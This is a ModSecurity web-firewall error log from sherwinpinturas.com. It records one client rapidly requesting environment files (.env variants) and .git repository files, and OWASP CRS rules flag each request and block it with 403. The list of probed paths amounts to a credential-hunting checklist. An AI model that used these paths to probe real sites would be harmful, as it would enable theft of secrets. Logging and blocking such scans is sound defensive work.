[Tue Oct 27 09:04:00.358032 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auChQDyZibD2nTuanG6-kwAAAAk"]
[Tue Oct 27 09:04:00.358273 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auChQDyZibD2nTuanG6-kwAAAAk"]
[Tue Oct 27 09:04:00.359537 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auChQF-8Lhg5M1Fe2hj9mgAAABI"]
[Tue Oct 27 09:04:00.359691 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auChQF-8Lhg5M1Fe2hj9mgAAABI"]
[Tue Oct 27 09:04:00.359904 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auChQF-8Lhg5M1Fe2hj9mgAAABI"]
[Tue Oct 27 09:04:00.360858 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auChQG_oZ855J3-bmxErCwAAAAY"]
[Tue Oct 27 09:04:00.361012 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auChQG_oZ855J3-bmxErCwAAAAY"]
[Tue Oct 27 09:04:00.361304 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auChQG_oZ855J3-bmxErCwAAAAY"]
[Tue Oct 27 09:04:00.361703 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auChQD4THoroSjopRdUBIwAAAAE"]
[Tue Oct 27 09:04:00.361834 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auChQD4THoroSjopRdUBIwAAAAE"]
[Tue Oct 27 09:04:00.362106 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auChQD4THoroSjopRdUBIwAAAAE"]
[Tue Oct 27 09:04:00.362222 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auChQLL0NGPtr6217jDWbQAAAAA"]
[Tue Oct 27 09:04:00.362348 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auChQLL0NGPtr6217jDWbQAAAAA"]
[Tue Oct 27 09:04:00.362599 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auChQLL0NGPtr6217jDWbQAAAAA"]
[Tue Oct 27 09:04:00.363158 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auChQGUNDY12-2npPMSGjAAAAAo"]
[Tue Oct 27 09:04:00.363340 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auChQGUNDY12-2npPMSGjAAAAAo"]
[Tue Oct 27 09:04:00.363581 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auChQGUNDY12-2npPMSGjAAAAAo"]
[Tue Oct 27 09:04:00.433382 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auChQLvyvYxrvOc4a9_XsQAAAAI"]
[Tue Oct 27 09:04:00.433596 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auChQLvyvYxrvOc4a9_XsQAAAAI"]
[Tue Oct 27 09:04:00.433939 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auChQLvyvYxrvOc4a9_XsQAAAAI"]
[Tue Oct 27 09:04:00.435073 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auChQDyZibD2nTuanG6-lAAAAAk"]
[Tue Oct 27 09:04:00.435206 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auChQDyZibD2nTuanG6-lAAAAAk"]
[Tue Oct 27 09:04:00.435449 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auChQDyZibD2nTuanG6-lAAAAAk"]
[Tue Oct 27 09:04:00.436407 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auChQF-8Lhg5M1Fe2hj9mwAAABI"]
[Tue Oct 27 09:04:00.436594 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auChQF-8Lhg5M1Fe2hj9mwAAABI"]
[Tue Oct 27 09:04:00.436959 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auChQF-8Lhg5M1Fe2hj9mwAAABI"]
[Tue Oct 27 09:04:00.438275 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auChQD4THoroSjopRdUBJAAAAAE"]
[Tue Oct 27 09:04:00.438439 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auChQD4THoroSjopRdUBJAAAAAE"]
[Tue Oct 27 09:04:00.438706 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auChQD4THoroSjopRdUBJAAAAAE"]
[Tue Oct 27 09:04:00.439466 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env~"] [unique_id "auChQLL0NGPtr6217jDWbgAAAAA"]
[Tue Oct 27 09:04:00.439592 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env~"] [unique_id "auChQLL0NGPtr6217jDWbgAAAAA"]
[Tue Oct 27 09:04:00.439870 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env~"] [unique_id "auChQLL0NGPtr6217jDWbgAAAAA"]
[Tue Oct 27 09:04:00.447759 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auChQGUNDY12-2npPMSGjQAAAAo"]
[Tue Oct 27 09:04:00.447930 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auChQGUNDY12-2npPMSGjQAAAAo"]
[Tue Oct 27 09:04:00.448199 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auChQGUNDY12-2npPMSGjQAAAAo"]
[Tue Oct 27 09:04:00.509225 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auChQLvyvYxrvOc4a9_XsgAAAAI"]
[Tue Oct 27 09:04:00.509453 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auChQLvyvYxrvOc4a9_XsgAAAAI"]
[Tue Oct 27 09:04:00.509749 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auChQLvyvYxrvOc4a9_XsgAAAAI"]
[Tue Oct 27 09:04:00.510984 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auChQDyZibD2nTuanG6-lQAAAAk"]
[Tue Oct 27 09:04:00.511190 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auChQDyZibD2nTuanG6-lQAAAAk"]
